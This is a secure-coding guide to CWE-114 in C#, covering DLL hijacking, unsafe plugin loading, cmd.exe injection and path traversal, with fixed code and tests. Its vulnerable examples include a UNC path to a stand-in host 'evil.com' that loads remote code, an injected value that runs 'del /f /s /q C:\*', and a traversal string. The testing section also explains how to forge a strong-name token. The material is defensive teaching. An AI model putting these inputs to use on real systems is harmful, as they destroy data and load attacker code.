Skip to content

CWE-114: Process Control - C#

Overview

In C#, CWE-114 vulnerabilities occur when an application loads a DLL or starts a process without controlling which file the name actually resolves to. Attackers exploit weak library loading through DLL hijacking, DllImport path manipulation, and Process.Start() command injection. Both native loading through P/Invoke and managed assembly loading are affected.

Primary Defence: Set the process-wide search policy with SetDefaultDllDirectories() and AddDllDirectory(), load by absolute path through LoadLibraryEx() with LOAD_LIBRARY_SEARCH_* flags, and configure ProcessStartInfo with UseShellExecute = false, a FileName that names the real binary rather than a shell, and arguments passed through ArgumentList.

Common Vulnerable Patterns

DllImport without absolute path

using System;
using System.Runtime.InteropServices;

// VULNERABLE - Searches DLL search path, subject to DLL hijacking
public class UnsafeNativeLoader
{
    // Standard search order for an unpackaged app, with SafeDllSearchMode on
    // (the default since Windows XP SP2):
    // 1. Application directory  ← first, and writable in a per-user install
    // 2. System32
    // 3. 16-bit system directory
    // 4. Windows directory
    // 5. Current directory      ← still searched, but not second
    // 6. PATH directories       ← loose ACLs on an entry are common

    // Attacker places nativelib.dll in whichever searched directory is writable
    [DllImport("nativelib.dll")]
    private static extern int ProcessData(string data);

    public void ExecuteNative(string userInput)
    {
        // Loads DLL from search path - can be hijacked
        ProcessData(userInput);
    }
}

// Attack: place evil nativelib.dll in the application directory, a PATH entry
// with loose ACLs, or the current directory - whichever the attacker can write

Why this is vulnerable: DllImport resolves a bare name through the loader's search path, and any directory on that path the attacker can write to gives code execution in the process. The order matters for triage rather than for the fix: the common claim that the current directory comes second describes SafeDllSearchMode being disabled, and it has been on by default since Windows XP SP2, which drops the current directory below System32 and the Windows directory. What is left at the top of the list is the application directory, which an ordinary user can write to in any per-user install, followed by PATH entries whose ACLs are frequently loose. Ask which searched directory is writable before deciding a finding is live.

Assembly.LoadFrom() with user-controlled path

using System;
using System.Reflection;

public class UnsafePluginLoader
{
    // VULNERABLE - User controls path, can load arbitrary code
    public void LoadPlugin(string pluginPath)
    {
        // No validation - attacker can specify any path
        Assembly assembly = Assembly.LoadFrom(pluginPath);

        Type pluginType = assembly.GetType("Plugin.Main");
        object instance = Activator.CreateInstance(pluginType);

        // Execute arbitrary code from user-specified assembly
        MethodInfo method = pluginType.GetMethod("Execute");
        method.Invoke(instance, null);
    }
}

// Attack: pluginPath = "\\\\evil.com\\share\\malicious.dll"

Why this is vulnerable: The caller chooses the file, so Assembly.LoadFrom will load any assembly the process can reach - including one on a remote UNC share - and the reflection call that follows runs its code in this process.

Process.Start() invoking cmd.exe with a concatenated argument string

using System.Diagnostics;

public class UnsafeProcessStarter
{
    // VULNERABLE - cmd.exe parses the whole string, so user input becomes commands
    public void ConvertImage(string inputFile)
    {
        var startInfo = new ProcessStartInfo
        {
            FileName = "cmd.exe",                              // <- the shell
            Arguments = $"/c convert {inputFile} output.png",   // <- user input inside it
            UseShellExecute = true
        };

        Process.Start(startInfo);
    }
}

// Attack: inputFile = "input.jpg & del /f /s /q C:\*"
// cmd.exe runs: convert input.jpg  THEN  del /f /s /q C:\*

Why this is vulnerable: cmd.exe /c is what makes this injectable, and UseShellExecute has nothing to do with it - setting it to false here changes nothing, because cmd.exe still receives and parses & del /f /s /q C:\*. On Windows UseShellExecute = true means ShellExecuteEx: the file-association layer, which is how Process.Start("report.pdf") opens a PDF reader and how an http:// URL opens a browser. It does not interpret &, | or ; - give it a FileName that is not a shell and those characters arrive at the program as ordinary argument text. The flag has its own risks: it will launch a document or URL through whatever handler is registered, which is its own weakness when the FileName is attacker-influenced, and it forbids stream redirection. But naming it as the cause here sends a reader to change the wrong line. The fix is to stop routing through cmd.exe at all: name the real binary and pass arguments through ArgumentList.

Building paths from user input

using System;
using System.IO;
using System.Runtime.InteropServices;

public class UnsafeDllLoader
{
    // VULNERABLE - Path concatenation allows path traversal
    public IntPtr LoadLibrary(string libraryName)
    {
        string basePath = @"C:\App\Libraries\";

        // No validation - attacker can use ..\ to escape
        string fullPath = Path.Combine(basePath, libraryName);

        // Can load DLL from anywhere on filesystem
        return LoadLibraryW(fullPath);
    }

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern IntPtr LoadLibraryW(string lpFileName);
}

// Attack: libraryName = "..\\..\\..\\Windows\\System32\\evil.dll"
// Loads: C:\Windows\System32\evil.dll instead of C:\App\Libraries\

Why this is vulnerable: Path.Combine joins the two strings without constraining the result to basePath, so a libraryName carrying ..\ resolves outside C:\App\Libraries\ and LoadLibraryW loads whatever sits at the escaped path.

Secure Patterns

DllImport with absolute path and SetDllDirectory()

using System;
using System.IO;
using System.Runtime.InteropServices;

public class SecureNativeLoader
{
    private static readonly string LibraryDirectory = 
        Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NativeLibs");

    // Set DLL search directory at application startup
    static SecureNativeLoader()
    {
        // Modern approach: restrict search and add a trusted DLL directory.
        if (!SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32 |
                                      LOAD_LIBRARY_SEARCH_USER_DIRS))
        {
            throw new InvalidOperationException("Failed to set DLL directories");
        }

        if (AddDllDirectory(LibraryDirectory) == IntPtr.Zero)
        {
            throw new InvalidOperationException("Failed to add DLL directory");
        }

        // Legacy alternative (older apps): SetDllDirectory(LibraryDirectory).
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool SetDefaultDllDirectories(uint directoryFlags);

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern IntPtr AddDllDirectory(string newDirectory);

    private const uint LOAD_LIBRARY_SEARCH_SYSTEM32 = 0x00000800;
    private const uint LOAD_LIBRARY_SEARCH_USER_DIRS = 0x00000400;

    // The name stays bare - a DllImport name is resolved by the loader, not by this
    // attribute. What makes it safe is the search policy set in the static constructor;
    // the attribute restates it per-import so the policy is visible at the call site.
    [DefaultDllImportSearchPaths(DllImportSearchPath.System32 | 
                                 DllImportSearchPath.UserDirectories)]
    [DllImport("nativelib.dll", CharSet = CharSet.Unicode)]
    private static extern int ProcessData(string data);

    public int ExecuteNative(string userInput)
    {
        // Validate input before passing to native code
        if (string.IsNullOrEmpty(userInput) || userInput.Length > 1024)
        {
            throw new ArgumentException("Invalid input");
        }

        return ProcessData(userInput);
    }
}

Why this works:

  • Removes the current directory from the DLL search order.
  • Restricts search to trusted directories (app NativeLibs, System32), so a DLL dropped in a user-writable location is never searched for.
  • Applies process-wide so subsequent P/Invoke calls inherit the policy.

LoadLibrary() with absolute path and validation

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Cryptography;

public class SecureDllLoader
{
    // Trailing separator matters: see IsInside below.
    private static readonly string TrustedLibraryPath = 
        Path.TrimEndingDirectorySeparator(@"C:\Program Files\MyApp\Libraries");

    private static readonly string[] AllowedLibraries = 
    {
        "cryptolib.dll",
        "imagelib.dll",
        "datalib.dll"
    };

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern IntPtr LoadLibraryEx(
        string lpFileName, 
        IntPtr hFile, 
        uint dwFlags);

    private const uint LOAD_LIBRARY_SEARCH_SYSTEM32 = 0x00000800;
    private const uint LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR = 0x00000100;

    public IntPtr LoadTrustedLibrary(string libraryName)
    {
        // Validate library is in allowlist
        if (!AllowedLibraries.Contains(libraryName, StringComparer.OrdinalIgnoreCase))
        {
            throw new ArgumentException($"Library not in allowlist: {libraryName}");
        }

        // Construct absolute path
        string fullPath = Path.Combine(TrustedLibraryPath, libraryName);

        // Get canonical path (resolves .., 8.3 short names, trailing dots and spaces)
        string canonicalPath = Path.GetFullPath(fullPath);

        // Verify path hasn't escaped trusted directory
        if (!IsInside(TrustedLibraryPath, canonicalPath))
        {
            throw new SecurityException("Path traversal attempt detected");
        }

        // Verify file exists
        if (!File.Exists(canonicalPath))
        {
            throw new FileNotFoundException($"Library not found: {canonicalPath}");
        }

        // Verify file signature (Authenticode)
        if (!VerifyFileSignature(canonicalPath))
        {
            throw new SecurityException("DLL signature verification failed");
        }

        // Load with restricted search path
        IntPtr handle = LoadLibraryEx(
            canonicalPath, 
            IntPtr.Zero,
            LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | LOAD_LIBRARY_SEARCH_SYSTEM32
        );

        if (handle == IntPtr.Zero)
        {
            int error = Marshal.GetLastWin32Error();
            throw new InvalidOperationException($"LoadLibraryEx failed: {error}");
        }

        return handle;
    }

    // Containment check. The naive form - canonicalPath.StartsWith(baseDir) - compares
    // characters, not path components, so C:\Program Files\MyApp\Libraries-old\evil.dll
    // passes it. Appending the separator to the base is what closes that.
    internal static bool IsInside(string baseDir, string candidate)
    {
        string prefix = Path.TrimEndingDirectorySeparator(Path.GetFullPath(baseDir))
                        + Path.DirectorySeparatorChar;
        return candidate.StartsWith(prefix, StringComparison.OrdinalIgnoreCase);
    }

    private bool VerifyFileSignature(string filePath)
    {
        // Verify Authenticode signature
        // Production: Use WinVerifyTrust API or X509Certificate2

        // Simple hash verification for trusted internal DLLs
        byte[] fileHash = ComputeSHA256(filePath);
        byte[] expectedHash = GetExpectedHash(Path.GetFileName(filePath));

        if (expectedHash.Length == 0 || fileHash.Length != expectedHash.Length)
        {
            return false;
        }

        return fileHash.SequenceEqual(expectedHash);
    }

    private byte[] ComputeSHA256(string filePath)
    {
        using (var sha256 = SHA256.Create())
        using (var stream = File.OpenRead(filePath))
        {
            return sha256.ComputeHash(stream);
        }
    }

    private byte[] GetExpectedHash(string fileName)
    {
        // In production: Load from secure configuration
                // Real 32-byte digests, from configuration in production. Note that a
        // placeholder here is not inert: `new byte[] { }` is an EMPTY array, and
        // VerifyFileSignature returns false for an empty expected hash, so the
        // loader rejects every library - including the correct one - until these
        // are filled in. Get them with `certutil -hashfile <dll> SHA256`.
        var hashes = new Dictionary<string, byte[]>
        {
            ["cryptolib.dll"] = Convert.FromHexString(
                "0000000000000000000000000000000000000000000000000000000000000000"),
            ["imagelib.dll"] = Convert.FromHexString(
                "0000000000000000000000000000000000000000000000000000000000000000"),
            ["datalib.dll"] = Convert.FromHexString(
                "0000000000000000000000000000000000000000000000000000000000000000")
        };

        return hashes.TryGetValue(fileName, out byte[] hash)
            ? hash
            : Array.Empty<byte>();
    }
}

Why this works:

  • Allowlists restrict which DLL names can be loaded.
  • Canonical path checks block traversal outside trusted directories.
  • LoadLibraryEx() flags restrict search scope to trusted paths.
  • Hash/signature verification detects tampering or substitution.
  • Each layer reduces risk if another check is bypassed.

A placeholder hash fails closed, which is not the same as being harmless. The digests above have to be real before the loader will accept anything: an unfilled new byte[] { /* SHA-256 */ } is an empty array, VerifyFileSignature returns false on a zero-length expected hash, and every load throws SecurityException. That is the safe direction to fail in, and it still ships a component that has never worked - so the assertion that matters is that the genuine library loads, not only that a tampered one does not.

Process.Start() without shell, with argument validation

using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Threading.Tasks;

public class SecureProcessStarter
{
    private const string ConvertBinary = @"C:\Program Files\ImageMagick\convert.exe";
    private const string InputDirectory = @"C:\App\Uploads";
    private const string OutputDirectory = @"C:\App\Outputs";

    public async Task ConvertImageAsync(string inputFile, string outputFile,
                                        CancellationToken cancellationToken = default)
    {
        // Resolve against a fixed base, then check containment on the canonical form.
        string inputFullPath = Path.GetFullPath(Path.Combine(InputDirectory, inputFile));
        if (!IsInside(InputDirectory, inputFullPath))
        {
            throw new ArgumentException("Input file outside allowed directory");
        }

        if (!File.Exists(inputFullPath))
        {
            throw new FileNotFoundException("Input file not found");
        }

        string outputFullPath = Path.GetFullPath(Path.Combine(OutputDirectory, outputFile));
        if (!IsInside(OutputDirectory, outputFullPath))
        {
            throw new ArgumentException("Output file outside allowed directory");
        }

        // The output must NOT be checked with File.Exists - it is about to be created.
        // Check the directory that will hold it instead.
        if (!Directory.Exists(Path.GetDirectoryName(outputFullPath)))
        {
            throw new DirectoryNotFoundException("Output directory does not exist");
        }

        var startInfo = new ProcessStartInfo
        {
            FileName = ConvertBinary,      // Absolute path to binary
            UseShellExecute = false,       // Required for redirection and ArgumentList
            CreateNoWindow = true,
            RedirectStandardOutput = true,
            RedirectStandardError = true,
        };

        // Replace the inherited environment rather than emptying it. A Windows process
        // with no SystemRoot or PATH usually fails to start its own dependencies, so an
        // empty block turns a security fix into an outage.
        startInfo.Environment.Clear();
        startInfo.Environment["SystemRoot"] = Environment.GetFolderPath(
            Environment.SpecialFolder.Windows);
        startInfo.Environment["PATH"] = Environment.GetFolderPath(
            Environment.SpecialFolder.System);
        startInfo.Environment["TEMP"] = Path.GetTempPath();
        startInfo.Environment["TMP"] = Path.GetTempPath();

        // ArgumentList quotes each element for the target process; nothing is parsed
        // out of a single string. "--" stops convert reading a filename as an option.
        startInfo.ArgumentList.Add("--");
        startInfo.ArgumentList.Add(inputFullPath);
        startInfo.ArgumentList.Add(outputFullPath);

        using var process = Process.Start(startInfo)
            ?? throw new InvalidOperationException("Failed to start process");

        // Start reading BOTH pipes before waiting. With stdout and stderr redirected,
        // waiting first and reading afterwards deadlocks as soon as the child fills
        // either OS pipe buffer - it blocks on write, the parent blocks on wait.
        Task<string> stdout = process.StandardOutput.ReadToEndAsync(cancellationToken);
        Task<string> stderr = process.StandardError.ReadToEndAsync(cancellationToken);

        using var timeout = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
        timeout.CancelAfter(TimeSpan.FromSeconds(30));

        try
        {
            await process.WaitForExitAsync(timeout.Token);
        }
        catch (OperationCanceledException)
        {
            process.Kill(entireProcessTree: true);
            throw new TimeoutException("Process execution timeout");
        }

        await Task.WhenAll(stdout, stderr);

        if (process.ExitCode != 0)
        {
            throw new InvalidOperationException(
                $"Process failed with exit code {process.ExitCode}: {await stderr}");
        }
    }

    private static bool IsInside(string baseDir, string candidate)
    {
        string prefix = Path.TrimEndingDirectorySeparator(Path.GetFullPath(baseDir))
                        + Path.DirectorySeparatorChar;
        return candidate.StartsWith(prefix, StringComparison.OrdinalIgnoreCase);
    }
}

Why this works:

  • UseShellExecute = false with an absolute FileName means no shell and no PATH lookup.
  • ArgumentList builds the command line element by element, so a space or a quote in a filename cannot add an argument. -- stops the program reading an argument as an option.
  • Input and output are resolved against separate fixed base directories, so the caller supplies a filename rather than a path.
  • IsInside appends the directory separator before comparing. Without it the check is a string prefix test, and C:\App\Uploads.evil\payload.jpg passes it - the canonicalisation is correct and the comparison is what leaks.
  • Input and output are checked differently on purpose: File.Exists is right for an input that must already exist, and wrong for an output that does not exist yet. Applying it to both makes the method reject every legitimate conversion.
  • The environment is replaced, not emptied, so the child keeps the variables Windows itself needs while losing anything inherited from the request path.
  • Both redirected pipes are read concurrently with the wait, which is the documented way to avoid the redirection deadlock.
  • The wait is bounded and Kill(entireProcessTree: true) takes any grandchildren with it.

Secure assembly loading with hash pinning

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Loader;
using System.Security;
using System.Security.Cryptography;

public class SecurePluginLoader
{
    private static readonly string PluginDirectory = 
        Path.Combine(AppContext.BaseDirectory, "Plugins");

    // Pinned SHA-256 of each plugin as shipped. Loaded from configuration in
    // production; inline here so the shape is visible.
    private static readonly Dictionary<string, byte[]> PluginHashes = new(
        StringComparer.OrdinalIgnoreCase)
    {
        ["Plugin.Authentication.dll"] = Convert.FromHexString("00".PadLeft(64, '0')),
        ["Plugin.Logging.dll"] = Convert.FromHexString("00".PadLeft(64, '0')),
        ["Plugin.DataAccess.dll"] = Convert.FromHexString("00".PadLeft(64, '0'))
    };

    public Assembly LoadPlugin(string pluginName)
    {
        // The allowlist is the hash table's key set - one list, not two that can drift.
        if (!PluginHashes.TryGetValue(pluginName, out byte[] expectedHash))
        {
            throw new ArgumentException($"Plugin not in allowlist: {pluginName}");
        }

        string canonicalPath = Path.GetFullPath(Path.Combine(PluginDirectory, pluginName));

        if (!IsInside(PluginDirectory, canonicalPath))
        {
            throw new SecurityException("Path traversal attempt detected");
        }

        if (!File.Exists(canonicalPath))
        {
            throw new FileNotFoundException($"Plugin not found: {canonicalPath}");
        }

        // Verify BEFORE loading. Once an assembly is loaded its module initialiser
        // has had the chance to run, and there is no unload for the default context -
        // a check that runs after Assembly.LoadFrom reports on code already resident.
        byte[] actualHash;
        using (var stream = File.OpenRead(canonicalPath))
        {
            actualHash = SHA256.HashData(stream);
        }

        if (!CryptographicOperations.FixedTimeEquals(actualHash, expectedHash))
        {
            throw new SecurityException($"Plugin hash mismatch: {pluginName}");
        }

        // A collectible context lets the plugin be unloaded later. It is not a
        // security boundary - see below.
        var context = new AssemblyLoadContext(pluginName, isCollectible: true);
        return context.LoadFromAssemblyPath(canonicalPath);
    }

    private static bool IsInside(string baseDir, string candidate)
    {
        string prefix = Path.TrimEndingDirectorySeparator(Path.GetFullPath(baseDir))
                        + Path.DirectorySeparatorChar;
        return candidate.StartsWith(prefix, StringComparison.OrdinalIgnoreCase);
    }
}

Why this works:

  • The allowlist and the pinned hashes are the same table, so a plugin cannot be permitted without also being pinned.
  • The hash is checked against the file on disk before anything is loaded, so a substituted DLL is rejected while it is still just bytes.
  • FixedTimeEquals avoids leaking hash-comparison timing; SHA256.HashData streams the file rather than buffering it.
  • IsInside compares with the separator appended, so a sibling directory does not pass.

Do not use the strong-name public key token as the check. The obvious version of this example verifies assembly.GetName().GetPublicKeyToken() against an expected value. It looks like a signature check and is not one on .NET 5 and later: the runtime does not verify strong-name signatures at all - the feature survives only as part of assembly identity. GetPublicKeyToken() returns a hash of the public key stored in the assembly's own metadata, and the public key is not a secret: it is readable from any shipped copy of the genuine DLL. Building a replacement that reports the identical token needs nothing but that public key and <PublicSign>true</PublicSign> - no private key, no signature. Verified on .NET 10: an assembly built that way loaded through Assembly.LoadFrom and returned a token byte-identical to the genuine one, so a SequenceEqual check against the expected token passed while running attacker code. A hash of the file, or an Authenticode signature verified through WinVerifyTrust, is what actually binds the bytes to a publisher.

Isolating a plugin, not just verifying it: on .NET Framework, AppDomain.CreateDomain() with a restricted PermissionSet used to provide in-process sandboxing for partially-trusted assemblies. Code Access Security (CAS) and AppDomain-based sandboxing are not supported starting with .NET Core/.NET 5+ - AppDomain.CreateDomain() throws PlatformNotSupportedException, and PermissionSet/SecurityPermission are obsolete no-ops. Do not rely on this pattern in current .NET. AssemblyLoadContext supports unloading a plugin's assemblies but is likewise not a security boundary: code in a collectible context has the same privileges as the host. If a plugin needs to run isolated rather than merely verified, run it in a separate OS process under a restricted account and talk to it over IPC, or put it in a container.

Considerations

Process-wide search hardening versus per-load validation. SetDefaultDllDirectories plus AddDllDirectory is a one-line change that removes the current directory from every subsequent load in the process, including loads made by third-party native code you never call directly. LoadLibraryEx with an absolute path and a hash check is per-call and only covers the calls you wrote. They solve different halves: set the process-wide policy at startup regardless, and add per-load verification only where the library directory is not already protected by filesystem permissions.

Authenticode versus a pinned hash. WinVerifyTrust checks that a DLL is signed by someone with a chain to a trusted root, which is the right answer for third-party libraries that will be patched independently of your release - the hash changes on every vendor update, the certificate does not. A pinned SHA-256 is the right answer for a library you build and ship yourself, where any change is a release you control. Neither one helps if the check runs after the load, so the ordering matters more than the choice.

Whether the DLL directory is attacker-writable at all. DLL hijacking needs somewhere to put the DLL. On a service installed under C:\Program Files with default ACLs, running as a low-privilege account, the ordinary user cannot write there and the load-order weakness is not reachable. On a per-user install under %LOCALAPPDATA%, on a share, or where the installer has loosened the ACLs, it is. Check the ACL on the directory before deciding how much of this page a given finding needs - icacls on the install path answers it in one command, and "the directory is not writable by the attacker" is a legitimate reason to record a false positive.

Argument injection outlives the shell fix. Moving to ArgumentList stops a filename becoming a second command. It does not stop a filename that starts with - becoming an option to the program you invoked, and the dangerous options are program-specific: convert -write, curl -o, 7z -o, robocopy /MOV. Where the program supports --, use it. Where it does not, resolve the value against a fixed base directory so the result always starts with a drive letter.

Testing

Re-running the analyzer rule that flagged Process.Start or Assembly.LoadFrom cannot tell a working fix from one that rejects everything, and cannot see a verification step placed after the thing it was meant to gate. Assert the accepts as well as the rejects.

  • ConvertImageAsync("photo.jpg", "photo.png") completes and the output file exists. If it throws DirectoryNotFoundException or FileNotFoundException for the output, the destination is being checked as though it should already exist.
  • IsInside(@"C:\App\Uploads", @"C:\App\Uploads.evil\x.jpg") returns false, and IsInside(@"C:\App\Uploads", @"C:\App\Uploads\sub\x.jpg") returns true. Drop the separator from the prefix and the first assertion fails - which is the bug, and it is invisible by reading.
  • Run the conversion against a binary that writes more than 64 KB to stdout and assert it completes rather than timing out. A WaitForExit that precedes the ReadToEnd deadlocks here and nowhere else, so a test with a quiet child passes straight over it.
  • LoadPlugin on a DLL whose bytes have been altered throws SecurityException, and AppDomain.CurrentDomain.GetAssemblies() does not contain it afterwards. If the assembly is present, the check ran after the load and is reporting on resident code.
  • If a strong-name token check is still in the codebase, build the counter-example: extract the public key from the genuine assembly with AssemblyName.GetPublicKey(), build a replacement with <PublicSign>true</PublicSign> against that key, and assert your check rejects it. On .NET 5+ it will not - the tokens are byte-identical and no signature is verified. That assertion failing is the point; it is what tells you the check was never a signature check.

Additional Resources